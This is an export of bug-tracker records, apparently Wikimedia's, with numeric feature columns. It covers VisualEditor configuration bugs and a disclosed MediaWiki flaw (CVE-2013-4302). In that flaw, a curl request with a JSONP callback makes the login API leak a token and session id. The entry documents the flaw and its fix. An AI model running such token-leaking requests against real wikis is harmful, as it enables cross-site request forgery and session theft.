**Severity**: major",High,80.0,1372164300,1372215518.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lfvhcf2i2gcieggk662j,task_description,resolved,True,c2,1,False,False,True,-10,True,0.0,0.0,0.0,1.5,1.0,3.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,8.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,1.0,5.0,5.5,0.5,2.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.286885245901639,0.6721311475409836,"**Author:** CODE

**Description:**
Dash-to-underscore conversion is frucked up yet again?

When ""Edit"" is clicked, an API request is issued with params:
action:visualeditor
paction:parse
page:Новая_зямля
oldid:1630719
token:[screened]
format:json

Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.

--------------------------
**Version**: unspecified
**Severity**: major"
249089,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:

(In reply to comment #3)
> I have fixed this in the Parsoid config.

Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?

Thanks for fixing, btw.",,,1372287816,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,14.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.183673469387755,0.7755102040816326,"**p.selitskas** wrote:

(In reply to comment #3)
QUOTE

Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?

Thanks for fixing, btw."
249086,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"(In reply to comment #2)
> (In reply to comment #1)
> > Roan - is this a config issue at our end or something else?
> > 
> > http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
> > and
> > http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
> > fine for me, but in VE
> > https://be-x-old.wikipedia.org/wiki/
> > Галоўная_старонка?oldid=1535753&veaction=edit
> > does indeed 404.
> 
> I think it's a config issue.
> 
> CommonSettings.php on line 1890 says:
> $wgVisualEditorParsoidPrefix = $wgDBname;
> 
> DB names are written with underscores instead of dashes. Conversion '_'->'-'
> should be performed here.
> 
Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:

'map_bmswiki': 'http://map_bms.wikipedia.org/w/api.php',

which is wrong, we need URLs with dashes.

I have fixed this in the Parsoid config.",,,1372215518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,29.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,4.0,7.0,20.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.163265306122449,0.46938775510204084,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:

'map_bmswiki': 'URL

which is wrong, we need URLs with dashes.

I have fixed this in the Parsoid config."
249083,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:

(In reply to comment #1)
> Roan - is this a config issue at our end or something else?
> 
> http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
> and
> http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
> fine for me, but in VE
> https://be-x-old.wikipedia.org/wiki/
> Галоўная_старонка?oldid=1535753&veaction=edit
> does indeed 404.

I think it's a config issue.

CommonSettings.php on line 1890 says:
$wgVisualEditorParsoidPrefix = $wgDBname;

DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.

This is a typical error in WMF configs. I used to run against it even in MediaWiki core.",,,1372179812,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,4.0,9.0,12.0,0.0,3.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,3.6,0.63,"**p.selitskas** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think it's a config issue.

CommonSettings.php on line 1890 says:
$wgVisualEditorParsoidPrefix = $wgDBname;

DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.

This is a typical error in WMF configs. I used to run against it even in MediaWiki core."
249080,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"Roan - is this a config issue at our end or something else?

http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753 and http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work fine for me, but in VE https://be-x-old.wikipedia.org/wiki/Галоўная_старонка?oldid=1535753&veaction=edit does indeed 404.",,,1372172991,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c2,1,True,,,-10,True,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.125,0.9375,"Roan - is this a config issue at our end or something else?

URL and URL both work fine for me, but in VE URL does indeed 404."
51283,VisualEditor: Images loaded over HTTP unconditionally,"https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit

When I go here currently, I get HTTPS warnings.

---
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
---

action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit",High,80.0,1370571480,1371576350.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_description,resolved,True,c2,1,True,False,True,-12,True,0.0,0.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,11.0,0.0,0.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,32.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,24.0,1.0,0.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,11.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,4.473118279569892,0.43010752688172044,"URL

When I go here currently, I get HTTPS warnings.

---
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
---

action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
244180,VisualEditor: Images loaded over HTTP unconditionally,"

*** This bug has been marked as a duplicate of bug 43015 ***",,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c2,1,True,,,-11,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43015 ***"
244174,VisualEditor: Images loaded over HTTP unconditionally,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.

I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you.",,,1370621859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,3.0,3.0,6.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,6.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,13.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,11.0,6.0,0.0,3.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.619047619047619,0.7777777777777778,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.

I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you."
51090,Login API doesn't prevent getting csrf tokens via jsonp,"curl --data ""action=login&lgname=User1&lgpassword=xxx&format=json&callback=foo"" 'http://localhost/wiki/api.php'
foo({""login"":{""result"":""NeedToken"",""token"":""317d0a5134f80898af6c619115293e1f"",""cookieprefix"":""wiki_test1"",""sessionid"":""p7sgh8o7h2ltsi5635mh19h6c2pg7me2pekaee84kdq3k68gr1l0""}})

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370290200,1378287025.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-qv64dair2jqdys2jum57,task_description,resolved,True,c2,1,True,False,True,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.024390243902438,0.5853658536585366,"curl --data ""action=login&lgname=User1&lgpassword=xxx&format=json&callback=foo"" 'URL
foo({""login"":{""result"":""NeedToken"",""token"":""317d0a5134f80898af6c619115293e1f"",""cookieprefix"":""wiki_test1"",""sessionid"":""p7sgh8o7h2ltsi5635mh19h6c2pg7me2pekaee84kdq3k68gr1l0""}})

--------------------------
**Version**: unspecified
**Severity**: normal"
233431,Login API doesn't prevent getting csrf tokens via jsonp,This issue was assigned CVE-2013-4302,,,1378400417,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,This issue was assigned CVE-2013-4302
233427,Login API doesn't prevent getting csrf tokens via jsonp,[restoring RESOLVED FIXED state which was set before the Gerrit Notification Bot inserted links to the Gerrit patchsets],,,1378287025,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,30.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,5.15,0.9,[restoring RESOLVED FIXED state which was set before the Gerrit Notification Bot inserted links to the Gerrit patchsets]
233422,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82541 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82541",,,1378266586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.9444444444444444,"Change 82541 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233416,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82545 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82545",,,1378254432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.9444444444444444,"Change 82545 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233413,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82537 merged by CSteipp:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82537",,,1378249058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5625,0.9375,"Change 82537 merged by CSteipp:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233409,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82545 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82545",,,1378248165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,0.9523809523809523,"Change 82545 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233405,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82541 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82541",,,1378247964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,0.9523809523809523,"Change 82541 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233400,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82537 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82537",,,1378247687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,0.9523809523809523,"Change 82537 had a related patch set uploaded by CSteipp:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233393,Login API doesn't prevent getting csrf tokens via jsonp,"Change 82527 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

https://gerrit.wikimedia.org/r/82527",,,1378246268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.9444444444444444,"Change 82527 merged by jenkins-bot:
SECURITY: Prevent tokens in jsonp mode

GERRIT_URL"
233386,Login API doesn't prevent getting csrf tokens via jsonp,Roan approved on irc. Deployed into production on Aug 29.,,,1378240779,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,Roan approved on irc. Deployed into production on Aug 29.
233382,Login API doesn't prevent getting csrf tokens via jsonp,"Thanks Brad! I've tested the patch against master, and it seems to be working well and prevents the leak. As mentioned on irc, the action=tokens api returns the error ""Unrecognized value for parameter 'type'"" when the callback is added, instead of an explicit message about the callback parameter. But since this is the same way ApiQueryInfo currently works, it seems like api users should be able to figure it out.

